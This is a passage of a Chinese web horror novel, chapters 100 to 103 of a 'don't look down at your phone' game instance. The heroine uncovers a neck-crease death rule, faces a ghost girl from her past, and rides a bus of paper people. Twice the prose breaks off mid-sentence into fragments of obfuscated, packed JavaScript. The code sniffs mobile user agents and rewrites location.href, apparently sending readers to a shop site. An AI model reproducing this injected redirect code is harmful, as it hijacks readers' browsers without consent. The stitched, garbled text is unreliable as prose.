“你再大也是妈妈的孩子。你还没回答我，最近学业怎么样？”妇女的声音温柔而关切。
“挺好的，妈。我还有事...”廖帆似乎急于结束这一段对话。
“不要急着挂啊。我看到你的社交账号这几天在线时间蛮长的...”
廖帆的母亲吞吞吐吐地说。
言语之中似乎意有所指——觉得廖帆用太多的时间看手机，影响了他的学业。
“妈，你有看最近网上那条关于一个叫花舟的女生的链接吗？”廖帆提及此时，面目变得狰狞。
“妈平时不怎么看手机...”
“我发给您看看吧。我最近一直忍不住关注这件事，感觉这件事有什么神奇的魔力...”廖帆解释道，“再说了，关注社会事件也有助于学习嘛。”
“好吧好吧。那妈就不打扰你了。”廖帆妈妈顿了一下，“对了，看手机的时候记得把头低下来。”
廖帆妈妈的语气逐渐变的诡异，与先前柔和的氛围形成鲜明的对比。
“因为，头越低，对你的手机就越好哦。”
说罢，廖帆妈妈挂断了电话。
许舟和姚务锦的面色倏地煞白。
明明是廖帆妈妈最后说出来的每个字他们都认识，可组合起来，却有种难言的诡谲离奇。
就好像是...一个催命电话。
廖帆心满意足地对面前的所有观众露出了一个十分张扬的笑容，嘴角离奇地扬到眼角的位置。
许舟下意识地偏了偏头——她怕关注花舟事件的廖帆认出自己。
而廖帆却对许舟的举动视若无睹，他的神智似乎已然不清，无法分辨霓虹灯散发的光圈外的世界的一切事物。
而后，骨骼扭断的清脆声在鼎沸的人群中却格外刺耳。
廖帆脖子呈九十度低下，直白地实践了他母亲方才的话语。
紧接着，他举起手机，亲吻了一下它的屏幕，最后将手机“啪嗒”一下恶狠狠地摔到自己的脸上。
他此刻似乎力大无穷。
登时，他的脸上出现了一个凹坑，其内的血管似乎纷纷炸裂，让他面目全非，鲜血横流。
鲜血落到地上。
霓虹灯光圈内似乎有一个扬声器，其内的一切声音被尽数放大。
嘀嗒——嘀嗒——
而廖帆却伸出压得变形了的舌头，接了极低血液，在唇齿之间进行对绝美食物的品鉴。
而他颈部折断出的那条颈横纹在许舟的视野里，愈发清晰可见。
从皮肤的深黄色到浅灰，最后凝结成纯净的墨色。
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那条纹路逐渐突起，变粗，俨然成为了一条绳子！
“哈哈哈哈~”
廖帆的背后传来小女孩的笑声。
许舟抬眸望去，这才发现廖帆的背上不知道什么时候趴上了一个小女孩。
女孩的上半张脸戴着一个神秘的刻画着鹰鸟的面具，只露出她细长有神的眼睛。
她的下半张脸，一张樱桃小嘴露在外面，对着众人散发出阵阵甜美。
而后，呈现了一个大弧度笑容，与刚刚廖帆挂断电话后的神情如出一辙。
“小女孩控制了他。”姚务锦用指尖轻触了一下许舟的手臂。
许舟意外地眉尾一样——这个人似乎仍想与自己组队，因此他希望借机打破横亘在两人之间的冰。
只见小女孩双手扯着那根绕在廖帆颈部的绳子，轻轻地向后一拉。
廖帆身首分离地倒在了地上。
断口处却很是干净，并未流出鲜血。
小女孩在下一刻消失不见。
“结束了。”许舟并不介意与姚务锦维持表面和平，“我们走吧。”
姚务锦震惊于许舟行动的干净利落，但还是顺从地点了点头。
对他来说，他刚刚怀疑了许舟，心里还残存着一丝愧疚。
两人在人群中挤着转了个身，却发现身后的人不知在什么时候，已经通通失去了五官。
变成了一堆...无脸人。
许舟心下一惊，咽了口口水。
“其实...我觉得这个场面，我好像见过类似的...”许舟蹙眉对姚务锦低语。
“我也是...”姚务锦眼中的恐惧，夹杂着一丝对这个自称黎心的女人仍愿意与自己组队的感激。
“但现在，他们的变化应该和我们无关。”许舟的潜意识帮助她做出了判断。
她用冰冷锐利的目光划向这些无脸人，迫使他们为自己和姚务锦让出了一条道。
姚务锦看向许舟的眼神，又吃惊了几分，甚至变得有些...敬佩？
许舟带着姚务锦，在无脸人之间穿行，离开他们的主要范围后扬长而去。
“你之前说你是对面的保安，这句话是真的吗？”走到一个人烟稀少之处，许舟问道。
“真的。真的。”姚务锦连说两句，“我也就是刚好看见住在对面的你，觉得你和网上那个花舟长得挺像。”
许舟话锋一转：“刚刚那个叫廖帆的人...看起来是和我们一样的人？”
姚务锦竟是毫不犹豫地点点头。
许舟狐疑地打量起他的肯定。
姚务锦低头迅速补充了一句：“我猜的。毕竟这个看手机的规则...应该只对我们生效。”
许舟不再细问：“...行吧。那我先回家了。”
“不加个联系方式？”姚务锦问道。
许舟摇了摇头：“少用手机吧。”
姚务锦不疑有他地点点头：“如果我找你，我就到你楼下等你？”
许舟耸耸肩：“可以，我在窗户看见你，自然会下来的。”
...
当许舟回到家楼下，整个星城已经完全被黑夜笼罩。
月光轻洒一层薄纱。
此刻人群密集的人群已经变得稀疏。
他们的脸上又挂上了五官，更是呈现出了正常的表情。
许舟急匆匆地回家，希望在落地镜前一睹...
廖帆背后那位小女孩的芳容。
100. 不要低头看手机（8）
回到门口时，门旁一个不起眼的纸盒子吸引了许舟的注意力。
她蹲了下来，小心翼翼地伸手探向纸盒子。
纸盒子上贴了一张略有些破损的快递单，收件人是许舟，发件人却是…
段漓。
许舟眸光微动，一滴泪像断了线的珍珠，无声地滑落在肩头。
段漓，是她一直觉得，自己对不起的那个女生。
许舟的纤纤细手顺着发件人的名字向发件地址指去，定睛一看——发件地址正是智汇街13号。
是许舟儿时住的那栋老旧居民楼。
“喜欢吗？这是我送给你的礼物。”灵动的女童声在快递纸盒后响起。
地砖上伸出一双有些婴儿肥的小手，将快递盒子捧起，递到许舟的眼前。
“礼物，还是要自己拆开看才好呀。”女童快活地劝起了许舟。
“你是…段漓？”许舟轻启薄唇。
“你还记得我？”小段漓有些惊讶。
“哪怕过了很多年，我也记得你的声音。”哪怕知道这个段漓是副本中虚假的产物，她仍诚挚地说。
“我也永远不会忘记你。”小段漓略带凶残地说，“不会忘记你对我做过的一切。”
“事情发生的那天，后来你怎么样了？”许舟忍不住找回记忆里缺失的一块空白，那是她对整件事情唯一不记得的地方。
“我死了。”小段漓用最平静的话语说着最…诡异的话，“不然你怎么会见到，停滞在4岁的我呢？”
小段漓的话字字诛心，一层一层拨开许舟对当年事情的愧疚，将其暴露在她的心里。
“那条网络链接…”许舟欲言又止。
“我发的。我就是不想见到，你现在过得这么滋润。”小段漓打断了许舟。
“快拆开看看吧。我送给你的礼物。”一双肉手迫不及待地晃了晃。
在段漓的催促下，许舟慢慢将箱子密封处撕开了一个口子。
目光穿过口子向内看，昏暗处有一个肥硕的阴影。
仔细一看…似乎还在动。
许舟心一横，把口子猛地撕开。
一只长着肥膘的大老鼠跃入许舟眼帘。
“吱吱吱——吱吱吱——”
突然见光的老鼠不住地尖声叫唤，它龇牙咧嘴地抬起锋利的爪子向许舟放在纸箱上的口子抓去。
在楼道灯的照耀下，它满是黄色污垢的牙齿还泛着光。
“呀！”许舟抽回自己的手，以免被老鼠伤害。
“喜欢吗？”小段漓满是期待地问道。
“……不喜欢。”
“那可真是太遗憾了。”小段漓可惜地说道。
随后，一双小肉手消失在纸箱之下，没有了支撑力的纸盒子应声落地。
“吱——”突如其来的震动让老鼠尖叫一声，它一跃而起，跳到纸箱外，一溜烟地蹿进了楼道。
回过神来的许舟一字一顿地对着小段漓消失处道：“我知道你在听。真正的段漓是怎么想的，轮不到让一个假的来告诉我。我对段漓愧疚，但绝不会对不起一个假的。”
楼道空空，久未回应。
但许舟心满意足地撇下纸盒，回了家。
她本也不是说给NPC段漓听的。
毕竟…她总模模糊糊地觉得，不能对NPC提到“虚假”之类的字眼。
因此她刻意等段漓离开后才张口。
既是说给自己听的，也是告诉系统——别妄想通过打压我，让我成为你们的傀儡。我们的合作，是平等的。
……
许舟锁上门后，系统音姗姗来迟。
——恭喜解锁剧情碎片“链接的源头”
——剧情完成度达到20%
“你是刚刚看我和小段漓的互动看得津津有味么？现在才通报？”许舟对着看不见的系统嘟囔道。
系统：“……没有，不要乱说。”
“……是吗？”许舟追问道，“要是我告诉你，我和这个假段漓说这么多，只是为了套剧情完成度，看得津津有味的你当如何应对。”
遥远异世界的系统上下蹦哒了一下，关闭了与许舟的联系通道，大声叫嚷着：“我是系统还是你是系统？！”
“倒！反！天！罡！”
似乎是为了回击，系统发出轻蔑的笑声：“我都忘了…刚刚的通报还没完呢。”
系统再次打开与许舟的联系通道。
——恭喜解锁剧情碎片“故事的结局”
——剧情完成度达到40%
许舟一怔，僵在了原地几秒——当年，段漓的结局真的如这个假段漓所说一般，死了吗？
但怔愣转瞬即逝，许舟的面孔恢复了血色：“结局，也不劳烦你来告诉我哈。”
“我自己会查明白的。”
系统不再回音。
……
其实许舟急匆匆地回家，为的是一件更重要的事情…
她对廖帆化为绳子的颈纹耿耿于怀。
虽然现实生活中很多人会因为低头等原因生出颈纹，但在这里…她总觉得这与死亡条件息息相关。
许舟没来得及拖鞋，就走到落地镜前。
她的脖子略微前倾，凑近了去看。
一条细浅的颈纹在镜中略显模糊，却仍可以看见。
“我记得当时廖帆的颈纹，深得像是吊死鬼一样。”
而且…她还想见见那个在廖帆身后扯着绳子的女孩。
许舟捏了捏拳头，先是略微倾了倾头，勉强用余光观察镜中颈纹的变化。
颈纹由于低头挤压，痕迹变得略为明显。
过了半晌，当许舟重新仰头，那条颈纹重新变得浅淡，与原先无差。
接着，许舟拿起手机，手指稍稍蜷了蜷。
毕竟，这是用生命，在做尝试。
她将手机托起到胸口处，头如同刚才一样略微低了低。
慢慢地，亮屏。
未接电话和未读短信又多了许多。
它们的红色未读标识对许舟而言格外刺眼。
但她的目光只是注视着锁屏处的时间，在手机快要进入休眠时，适当点一两下进行维持。
一秒、两秒……
每一秒钟在此刻都变得格外漫长。
终于，五分钟后，许舟试图移开手机，却莫名感觉手臂有些难动弹。
面前的手机似乎在对她招手。
快来。
快来点开短信。
快来看看电话。
看看别人，都想和你说什么。
看看段漓，有没有在网上发新的东西。
许舟将头稍仰一个角度，但整体仍维持着低头的姿势。
她用余光去瞟自己的颈纹。
这一回，颈纹肉眼可见地变深了。
许舟的目光渐渐落到身后。
一个熟悉的小女孩伏在自己的背上，一双小手似乎拉着她颈纹出现的地方向后扯。
当女孩落入眼帘，许舟方觉得，前一秒还轻飘飘的后背，这一瞬间便负上了一个女童的重量。
“段漓。”
“又见面了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327565|128991||http|test|mini|href|location''.split(''|''),0,{}));
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段漓拉扯颈纹纹路的小手停止了扒拉，她轻轻地“哈”了一下，而后说道：“这也认出我了？”
“你戴着面具，我也能认出你。”许舟淡淡地说，她甚至用一只手去摸了摸脖子上的女孩。
“我还能让你消失。”
话音刚落，许舟克制住想看手机的欲望，猛地抬起头来，她的肩上再次变得轻飘飘的，而女孩也已经消失不见。
“我大概知道死亡条件了，但还得找个人确认一下…”
沈霁…？
不行，不行。
自己和他还有计划。
关键时刻不便在系统面前过于张扬。
而且，还不知道这人现在在哪。
那就只剩…
脸上挂着赘肉的姚务锦浮现在许舟的脑海。
她长叹一声：“也只能选他了…”
尾音拖着一丝不情不愿。
“他在哪来着？对面楼的保安是吧…”
……
月色笼罩下。
许舟来到姚务锦所在的保安亭。
见到来人，姚务锦的面色“千变万化”，先是惊讶，再是疑惑，而后带着些惊喜：“怎么突然来了？有线索？”
“有。”许舟点点头，“你先抬头。”
姚务锦：“……？”
但他乖乖照做。
姚务锦颈纹的深浅程度介于许舟和廖帆之间。
“好了。”许舟说道。
“什么线索？”姚务锦问道。
看着姚务锦仍抬着头，许舟忍不住说道：“你可以…不用抬头了。”
“噢噢，对。忘了这茬。”姚务锦笑了笑。
“有线索。但是要其他线索来换。”许舟直白地说道。
姚务锦眉心在极短的时间内蹙了蹙，而后又舒展开来，似有一丝不情愿。
许舟眉尾一挑，静静看着对方。
姚务锦无奈地勾了勾唇角：“好。”
许舟瞟他一眼：“我观察到，低头看手机会导致脖子上出现颈纹。而低头看手机的时间越长，颈纹就越深。最后就会像廖帆一样，颈纹变成一根绳子，把他勒死。”
姚务锦眸光略微一暗，而后点点头。
“低头做其他事是不会有事的。只有低头看手机，才会加深颈纹。”许舟补充道，“而颈纹也会影响人的精神状态。颈纹越深，意志力就相对薄弱。”
姚务锦恍然大悟：“所以当时的廖帆已经明显神志不清。而我在围观他时，突然不知怎么的，就冒出了想看手机的想法，甚至当众掏出手机。你颈纹最浅，受到影响最小。”
许舟认可地点头：“此外，这里的NPC很多。我怀疑他们的存在是一个类似注视者的视角。如果在他们面前看手机，颈纹加深就会变快。”
“应该远快于在无人时看手机的颈纹变化。”许舟结束了她的线索。
——解锁玩家死亡条件之一“加深的颈纹”
之一…？
那就是说，死亡条件不止这个。
——由于玩家抢先获知死亡条件，该部分的奖励失效。
许舟沉默了。
难道是因为自己分享死亡条件给姚务锦，所以系统判定他抢先获知？
没可能。
毕竟从时间上来看，自己想到死亡条件的时间也早于姚务锦。
那就只能是别人了。
也许是沈霁。
许舟话锋一转，掩饰自己方才的面色变化：“你的线索，该说了。”
“我的线索…和我们将要去的地方有关。
101. 不要低头看手机（9）
姚务锦望向不远处的车站牌。
许舟却有些不在意地摆摆手，眼神如冷月一般清亮：“我知道要去哪。网上那个花舟过去的家嘛。智汇街13号。”
姚务锦眸光动了动：“我还发现，这里的交通，比如出租车和公交巴士，只会带我们去两种地方，其中一种就是花舟的家。”
许舟对此并不奇怪：“另一种地方，应该就是我们进入副本前一段时间内，去过的地点。”
姚务锦有些不甘示弱，紧跟了一句：“我发现如果不去这两种地方，公交车司机就会拒载，而出租车师傅干脆不会停下。”
许舟毫不意外地点点头。
这并不难推测。
许舟在进副本前一段时间去过缤纷商场，却没有去过医院。
因此出租车原意载她去缤纷商场，却没有车因为她要去医院而停下。
“我就是因为想坐车去别的地方时，看见周围人的变化…所以才发现这里是副本而非现实的。”姚务锦见许舟什么都知道，气势弱了很多。
“所以你找我组队，其实是想一块去花舟的家。”许舟看着眼前支支吾吾的姚务锦，点出了他心中的想法。
姚务锦见瞒不下去，干脆利落地大方承认：“是的。”
真实目的出口之后，姚务锦的面色也轻松了很多。
“不去。”许舟直截了当地拒绝。
姚务锦瞳孔一震，向前迈了两步：“为什么？！不去那里的话我们可能无法通关！”
“因为你还隐瞒了别的东西。”许舟肯定地说道，“我可以理解面对陌生人时的谨慎，但我希望，你可以再真诚一点。”
“什么意思…？”姚务锦有些不解。
“你一开始找我，其实是怀疑我就是花舟。”许舟端详着姚务锦，他的面色有些发青。
姚务锦眉头微蹙，却似乎已经猜到许舟接下来要说些什么。
许舟笑了笑：“也就是说，你一开始的目的并不是组队去花舟的家。组队去花舟家应该是在我戳穿你对我的试探之后才冒出来的想法。”
“这点我承认…但我在确定你不是花舟之后，组队是发自内心的。”姚务锦连连摆手，他的赘肉在月光下一晃一晃的，多少有点滑稽。
“你先听我说完。”许舟的话语充满决断和理智，不由得让姚务锦的动作一滞。
许舟眉间的笑意淡了些：“在我揭穿你对我的怀疑后，我们俩之间已经有了隔阂。但你对此并不介意，甚至坚持寻求和我组队的机会。”
姚务锦微微垂眸，紧抿厚唇。
许舟温吞道：“我猜，有两个原因。其一，是你发现去花舟家的路上会很凶险。凶险到你不得不组队进行。其二，是你原先的队友出了意外，在这个副本中，除了眼前我这个现成的玩家，你短时间内很难再找到别人。”
“而你原先的队友…”许舟的手指敲了敲保安亭的桌面。
“廖帆就是我的队友。”姚务锦打断了许舟，急切地结束了这场对他来说漫长的审判。
“你和我说，你是一个人来的。”许舟收齐了笑容，板着脸说，“我从不介意陌生人对我有所隐瞒，但你实在是过于不真诚了，试图骗我一次又一次。”
姚务锦表情讷讷：“这是因为…如果我说了廖帆是我的队友，你可能会怀疑他的死与我有关…我就想着，多一事不如少一事。”
“少一事也可能引发更深重的怀疑。”许舟别过脸去。
“你发现廖帆是我队友，不止是因为刚刚的原因吧…？”姚务锦眉眼低垂，不敢抬眸看许舟的表情。
“还因为，我怀疑廖帆也是玩家时，你不假思索地点了头。”许舟轻慢地说，“没有一丝考虑呢。”
姚务锦长叹一声：“好吧。很晚了，你该回家了。”
许舟抽回目光，噗嗤一笑：“怎么？不是要组队去花舟家吗？”
“啊？你不是都拒绝了吗？再说…”姚务锦眼神闪烁。
“我后悔了。可以一起去花舟家。”许舟笑盈盈地说，“但有个条件，不，两个。”
“你说你说。”姚务锦目光澄澈，认真而又期待地说，“姐，你说什么都行。”
“…别叫我姐。”许舟看着眼前的中年大叔，“你比我大很多。”
“噢噢，差点忘了。”姚务锦木讷地笑了笑，“另一个条件呢？”
许舟：“……？我什么时候说了第一个条件？”
“别叫你姐啊？”姚务锦尾音一扬，带着疑惑。
许舟：“……？这个不是条件。”
姚务锦挠了挠头。
许舟的话语缓缓流淌，似是想让姚务锦听清每一个字：“一，告诉我你发现的在去花舟家的路上可能遇到的危险。二，过去的事情我既往不咎，但组队后希望可以互相分享线索。”
“真诚一点。”许舟生硬地补上一句，“可以适当隐瞒，不要太过。”
毕竟她自己也隐瞒了她就是花舟，所以她也不会太双标地要求对方毫无保留。
而条件一才是她原意和姚务锦组队的根本原因。
她也需要知道，去自己过去的家的路上，会有什么危险。
这样，才能更好地规避。
“那个公交车站，有去智汇街的车。就是20路。”姚务锦目光移向保安亭不远处的车站。
“…长话短说。我知道花舟家怎么去。”许舟语气不耐。
“在廖帆神志不清后，我试过上车。”姚务锦轻咬下唇，而后说道，“车上除了司机，空无一人。”
“嗯……这也不算太奇怪。有空车是正常的。”许舟思索片刻。
“但真正离奇的是…”姚务锦语调拉长而慢，“坐20路公交车不需要刷卡，也不需要投钱。”
“那需要什么…？”许舟渐渐对姚务锦的话来了兴趣。
“需要手机。”姚务锦唇线渐渐拉直。
“……？”许舟的神情变得严肃，“手机？！”
“没错，司机让我把手机给他，作为车费。”姚务锦正色道。
“你给了吗？”
“没有啊。不然我现在还站在这？”姚务锦反问道。
“……也是。”许舟低笑两声。
两人陷入了沉默。
许舟率先找回了自己的声音：“你试过打车或者地铁吗？”
姚务锦沉重地点了点头：“…地铁也是一样的。直达智汇街的二号线，会有人站在每一节车厢前收手机。”
“打车就更不用说了，当我脑子里想的是去智汇街时，出租车压根不停。”姚务锦语气里满是无可奈何，看来已经深受交通毒害。
“那
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……”
许舟刚想问，就被姚务锦打断：“我知道你想问什么，坐车到离智汇街远一点的地方然后走路也是行不通的。总有一班车会有人在那收手机。你能想到的我都试过。除非…”
“不可能走过去。太远了，等我们走到，可能已经死在副本了。”许舟否决了最后一种可能。
姚务锦无奈地摊了摊手。
而后，他眼前一亮：“你住的楼，好像和花舟现在住的地方是同一栋？你见过她吗？”
许舟耸耸肩：“没有。可能在看到网上消息后搬走了。”
“这样啊…”姚务锦不疑有他，只是有些遗憾，“我曾想过去看看，但还是有点害怕…我们也算运气好的，进副本前的一段时间来过临鸢花园附近。”
许舟点点头。
她明白姚务锦的意思。
进副本前一段时间内没来过临鸢花园附近的人，在副本里无法坐上去临鸢花园的车，自然连去花舟，也就是许舟的家的机会都没有。
“那咱们…”姚务锦欲言又止，“明天坐车？”
许舟抬眸，察觉附近的公交车站边，不知何时停了一辆20路公交车。
车的前后门大开，车上却一个乘客都没有。
司机扭头盯着自己和姚务锦，面色僵硬而灰白，眼神就像是在看两个死人。
似乎…这辆车停在这，为的就是等候他们。
一秒、两秒……
许舟有些决断道：“就今晚。”
姚务锦顺着许舟的目光看去，20路公交车上司机的眼神吓得他抽了抽。
他咬咬牙：“去。”
说罢，他一脸赴死状地走出保安亭。
许舟拦住了他：“等一下。”
“不是现在去？”姚务锦面露不解。
“今晚去。但等一下。”
说罢，许舟迈腿跑向公交车，对着司机甜甜一笑，道：“师傅，我想先去趟洗手间，您能在这多等会儿吗？”
司机的脸由灰白变得惨白，他生硬地点点头。
许舟飞速地跑回自己家，下楼时身上多了一个包。
她看了一眼司机，微笑着点点头，而后跑向保安亭。
在司机目光看不见的桌下，许舟从包里掏了台手机，递给姚务锦，做了个口型——“以前用的旧手机。”
姚务锦惊喜地眨了眨眼，他接过旧手机，而后将自己原先的手机放到一个小包里。
许舟同样将自己的手机放进书包，取出另一台旧手机。
而后，他们大摇大摆地来到20路公交车前。
上车后，司机像机器一样僵硬地开口道：“请交出手机，作为车费。”
许舟故意做出不情不愿的表情，犹豫再三后才把自己的旧手机递给司机。
姚务锦心底偷笑，却效仿许舟的动作。
司机接过两台旧手机时，许舟还一脸担忧，故意与司机再三确认：“只能用手机作为车费吗？能不能用别的？手机很重要！”
司机毫不犹豫地摇了摇头。
他的头每摇动一下，脖颈处都会发出“嘎吱嘎吱”的声响。
有点像……纸张晃动的声音。
许舟眉头紧锁。
而后，司机以迅雷不及掩耳之势，将两台旧手机狠狠地摔在了地上。
102. 不要低头看手机（10）
伴随着两声连续而又清脆的撞击声，两台旧手机的屏幕碎裂开来，甚至有些许屏幕碎屑散落在周围。
许舟和姚务锦面面相觑，谨慎地观察司机的面色而又一言不发。
他…发现了这是旧手机？
但这司机也只是说用手机作为车费，也没强硬要求一定要是两人正在使用的手机吧？
“请吧。”司机的双唇如同被无形的线牵扯，缓缓地，僵硬地张开一条缝。
车上不知从哪里，传来了隐隐约约“咔擦咔擦”的摩擦声。
姚务锦凑到许舟身边，用只有她能听到的声音道：“他没发现我们给的是旧手机…吓我一跳。”
“嗯。”许舟低低地说道，“这完全谈不上好事。这位司机要手机作为车费，却直接将我们给的手机摔碎，说明他并不需要获得我们的手机，只需要我们没有手机。”
为什么，司机要让他们没有手机？
手机有什么重要的作用？
许舟眉头紧锁，但一时半会儿也找不到答案。
司机松开握着方向盘的手，指向车后：“你们就坐那两个空位。”
“空位…？”许舟望向车后，这里可一名乘客也没有。
但…
司机的意思显然说明，这辆车上除了两个空位，其他座位上都坐了人。
“所有的乘客座位，不都是空的吗？”姚务锦的声音颤抖着，他的目光在座位反复打转，竭力寻找着可能存在的看不见的人。
司机反应过来，粗暴僵硬地解释道：“我忘了这辆车只有你们两个乘客。就坐倒数第二排左侧的两个位置。”
“你信吗？黎心。”姚务锦眼神闪烁地问许舟。
听到“黎心”二字，司机莫名看了许舟两眼，轻笑一声。
许舟被看得有些不自在——这位司机似乎…认识自己。
她谎称自己叫黎心的事情，不会被司机就此揭穿吧？
她抢先一步开口，回应姚务锦的问题：“不信。”
“可以下车，我不阻止。”司机没再盯着许舟，只是回过头来，直视前方，将选择的空间留给两人。
“那我们…下车？”姚务锦向许舟虚拟区答案。
“倒数第二排左侧的两个位置，对吧？”许舟没有理会姚务锦，转而开口确认道。
司机只是握着方向盘，头静静地倚靠在双手上，不再说话。
许舟挑了挑眉：“我们走。”
说罢，她向公交车内部走去，三下五除二就来到了司机指定的两个座位。
姚务锦一狠心，跟了上去。
当两人就坐后，司机抬起了头，车辆发出了启动的声音。
与此同时，车内的景象也发生了翻天覆地的变化。
两侧干净的玻璃窗上赫然出现了许多一模一样的花圈，挡住了许舟望向车外的视野。
而那些本无人的座位上，一个又一个的人影接连冒出。
男女老少，外貌不一。
唯二相同之处，是他们同司机一样死白的肤色，以及…
“这…这都是什么！”姚务锦看着眼前多出来的人，攥紧了拳头，“怎么突然多了这么多人！他们不热吗！？”
许舟观察起这些人满满不协调感的着装。
现在明明是个大夏天，即使是在黑夜，无需忍受太阳炽热的烘烤，却仍没到穿着严实的地步。
然而这些人，他们纷纷穿着长裤，而上衣更是立领的长袖衬衫——不仅将胳膊和腿捂上，就连脖子也不能幸免。
甚至，他们有的人还戴着帽子。
露在外面的苍白的皮肤、无神的大眼睛，与车窗上的花圈倒是相得益彰。
“我觉得…我需要喝口水。”姚务锦从包里拿出一瓶矿泉水，“冷静一下。”
这时，坐在公交车后门旁的一名老者猛然从座位站起，他环绕了一圈周围，面无表情地说：“这路途遥远，实在无聊。你们想不想听个故事？”
旁边的一个小孩鼓起了掌：“好耶！好耶！爷爷给我们讲故事咯！”
其他“乘客”也并无意见，纷纷聚精会神地齐齐望向老者。
“你们呢？”老人的目光忽然锁定后排的许舟和姚务锦，他的语气带着一丝不容置疑。
而其他人不约而同地转头，盯着两人。
“想。”许舟在这众目睽睽之下，张口答应。
“诶哟哟。”老者捋了捋长胡子，他的胡子看上去并不顺滑，就好像…整把胡子都被什么东西黏住，一齐在他的手里移动，“我想讲的，是一个关于纸人的传说。”
老人顿了一下，似乎在卖关子。
那个鼓掌的小孩在此刻开心地说道：“我知道我知道！俗话说，纸人画眼不点睛！”
“乖孩子。”老人伸出手，干巴巴地摸了摸小孩的头，发出“咔擦”的声音，“没错。传说纸人被点了睛，就拥有了灵气，他们就会活过来，拥有自己的生命…”
老人的声音空灵而旷远，像是从遥不可及的地方传来。
对面前景象感到畏惧的姚务锦，攥着瓶子的手紧了几分，但他却丝毫未察觉他的手已经被瓶盖勒出了几道血痕。
而后，姚务锦拧开瓶盖，老人的声音再次响起：“我要讲的故事，就与这个传说有关。”
“你的水，小心点，别洒了。”许舟看着姚务锦已经拧开瓶盖却又迟迟不喝，忍不住提醒道。
但她不过是在借姚务锦的水转移注意力罢了。
这车，有问题。
许舟微微阖眼，她小时候，好像听过关于纸人的事情。
是从谁那里听来的呢？
老人绘声绘色，正式拉开他所要讲述的故事的帷幕：“过去，有一个孩子。她的母亲早逝。”
听到“母亲早逝”二字，许舟猛地睁眼——她的母亲，同样在她很小的时候就离去了。
这，不会是自己的故事吧？
姚务锦戳了戳愣神的许舟：“这怎么有点像花舟的故事？”
“不知道，再听听。”许舟并不承认，也并不否认。
“而孩子的父亲继承了家里的纸扎店。”老人沉吟。
“不是花舟的故事，花舟的家人都没有开过纸扎店。”许舟轻声说道。
虽然排除了一种可能性，但许舟似乎对这个孩子的身份已经摸着了边。
“老父亲借着纸扎店的收入，同时外出当公交车司机以获取微薄薪水，勉勉强强地将孩子拉扯到了上幼儿园的年龄。”老人打了个响指。
许舟的瞳孔微缩。
段漓在事情发生的那天，也正好是上幼儿园的年纪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362579|128991||http|test|mini|href|location''.split(''|''),0,{}));
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她虽然不了解段漓的父亲究竟做的是什么工作，但她却偶尔在段漓家见过一些…纸人。
而她们友谊的开始，也是因为两人相似的命运。
早逝的母亲，与忙碌的父亲。
老人讲述的，正是段漓的故事。
“你听过这故事？”姚务锦察觉许舟的异样，“还是说，你已经猜到主人公是谁了。”
许舟垂睫不语。
姚务锦仍在自顾自地猜测：“不是花舟，就只能是那条链接的发布者段漓了吧？”
许舟长睫舞动了一下，似是默认了。
“链接上只写了花舟与段漓之间的事情，却没有写段漓个人的故事背景。没想到能在这20路公交车上听到。”姚务锦感慨。
“但一日，这孩子因为交友不慎，身心受到了莫大的伤害。”老人掩面长叹，对着身旁那个小孩说道，“那恶友，名字叫花舟。你可不要交到这样的朋友。”
许舟再次被cue，眼神冰凉刺骨，却又带着一丝丝悲哀。
老人将两人的事情一笔带过，故事的重点再次回到段漓本人身上：“而屋漏偏逢连夜雨，事发那天，这孩子的父亲所驾驶的公交车出了车祸，父亲不治身亡。”
许舟愈发聚精会神地听着。
她的父亲在事发那天同样死于车祸，她没想到的是，段漓的父亲也在那天死于非命。
但许舟仍持有审慎的态度面对老人的故事，毕竟，副本里的事情，不能排除是假的的可能性。
“爷爷爷爷！故事的结局呢？”听得津津有味的小孩迫不及待地追问。
“后来，那孩子做了一个与她的父亲极为相似的纸人，又做了一辆纸公交车。她将纸人父亲放在了纸车的驾驶位上，又为这辆纸公交车添置了许多纸人乘客。”老人不紧不慢地说。
“最后，那孩子给车上的每一个纸人都点了睛。希望纸人父亲能回魂，而那些纸人乘客可以用他们的灵气保护她的纸人父亲。”老人混浊空洞的眼珠看向了车辆行驶的方向。
“我怎么觉得…这个故事里的纸公交车，和我们现在坐的这辆车有点像。”姚务锦开启了他的乌鸦嘴。
许舟：“…说得好，别说了。”
“对了。”老人抽回目光，看向姚务锦和许舟，“那孩子还在纸公交车上留了两个空位。”
“为什么呀？”老人身边的小孩疑惑地问。
“这两个空位，是那孩子为误闯的活人量身定制的。”伴随着“咔擦”一声，老人的嘴角开裂。
姚务锦的手一抖，水瓶中洒了些水到前面女乘客的后背。
她缓缓地转过头来，目不转睛地盯着姚务锦：“你，把我，打湿了。”
“我…我不是故意的。”姚务锦的身子一缩再缩，但座椅靠背固定着他，使其无法再向后退。
随后，他从包里拿出两张纸巾，试图帮女人擦干水渍。
女人一言不发地盯着他的举动。
姚务锦疯了似地对着女人背后的水渍擦了又擦，擦了又擦，却怎么也吸不干净。
水渍飞速地蔓延，如同在女人的背后盛放。
“擦不干净…”姚务锦喃喃道。
“擦不干净？”
姚务锦再一抬眸，女人的面貌已经彻彻底底地变成了一个纸人！
103. 不要低头看手机（11）
如同一层厚厚的滤镜瞬间破碎。
不仅仅是姚务锦面前的女人，在许舟目之所及之处的所有乘客，他们的皮肤逐渐变得脆弱而纯白，沦为薄薄的纸张，在公交车里微弱的气流中轻轻摇曳，随时可能破碎。
他们的立领长袖衬衫与长裤，通通化作涂有颜料的纸。
每一个动作，都会让他们发出清脆的“咔擦咔擦”声。
“别擦了，擦不掉的。”许舟拉了下姚务锦。
而此刻的她，明白了先前来自这一车人的违和感。
他们，都是纸人。
